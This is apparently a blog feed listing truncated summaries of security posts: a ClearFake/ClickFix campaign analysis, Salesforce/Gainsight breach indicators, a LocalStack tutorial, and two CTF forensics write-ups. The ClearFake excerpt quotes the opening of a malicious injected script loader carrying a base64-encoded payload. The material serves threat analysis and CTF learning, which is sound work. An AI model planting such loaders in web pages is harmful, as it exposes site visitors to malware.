/My official stream of consciousness 2026-07-14T13:00:06+00:00 Cody Dietz / Jekyll © 2026 Cody Dietz /assets/img/favicons/favicon.ico /assets/img/favicons/favicon-96x96.png 2026-07-13T16:39:42+00:00 2026-07-14T12:59:37+00:00 /posts/Qilin-ClearFake-Campaign/ Cody Dietz

Qilin? / ClearFake Campaign Analysis Overview A malicious or compromised site was hosting a ClickFix campaign that initially determines whether to show the payload with the following initial stage javascript embedded inside var sp_preloader = "";var sp_offanimation = "";var stickyHeaderVar = ""; var s=document.createElement("script");s.src="data:text/javascript;base64,CihmdW5jdGlvbihfMHg0MTFj...

2025-11-24T18:44:42+00:00 2026-07-14T12:59:37+00:00 /posts/Salesforce-Gainsight-Breach/ Cody Dietz

Salesforce/Gainsight Breach IOCs Overview Security teams have identified unauthorized access to Salesforce environments via a compromised Gainsight integration token. The intrusion appears highly targeted, with threat actors using automated queries to collect tenant metadata and user profile information. These findings raise concerns about later-stage activity, including possible ransomware de...

2025-08-17T18:44:42+00:00 2026-07-14T12:59:37+00:00 /posts/localstack-terragrunt/ Cody Dietz

Streamlining Cloud Development with LocalStack and Terragrunt The landscape of cloud development is constantly evolving. With a growing emphasis on efficiency, consistency, and cost management we need a way to build locally to minimize cloud costs. My new scaffold project addresses these challenges head-on by providing a robust framework for managing AWS infrastructure locally fusing together ...

2024-03-13T12:00:00+00:00 2025-08-22T17:46:37+00:00 /posts/cyber-apocalypse-2024-phreaky/ Cody Dietz

Phreaky We can pull all the IMF files out of the pcap, and we get a bunch of base64 encoded email attachments with passwords. Putting them all in a script to make the zip file and unzip it: # Password: r5Q6YQEcGWEF echo "UEsDBAoACQAAAGZ3ZljgCHYp6QAAAN0AAAAWABwAcGhyZWFrc19wbGFuLnBkZi5wYXJ0MlVUCQADwIToZcCE6GV1eAsAAQToAwAABOgDAABu5iZXFr81bsrANalgCyCYLbnWakpnenTTFtNEgA2DnlWwZaWTpsDk81VXCv1hWQgy...

2024-03-13T12:00:00+00:00 2025-08-22T17:46:37+00:00 /posts/cyber-apocalypse-2024-data-siege/ Cody Dietz

Data Siege The pcap contains a .NET executable that we can decompile in ILSpy. Inside, we see that the traffic is encrypted, and then base64 encoded before being sent out over the network. I wrote the following to extract all potentially base64 encoded strings (scapy 2.4.4, it appears scapy 2.5+ will need to change) import json from pprint import pprint from scapy.all import * packets = r...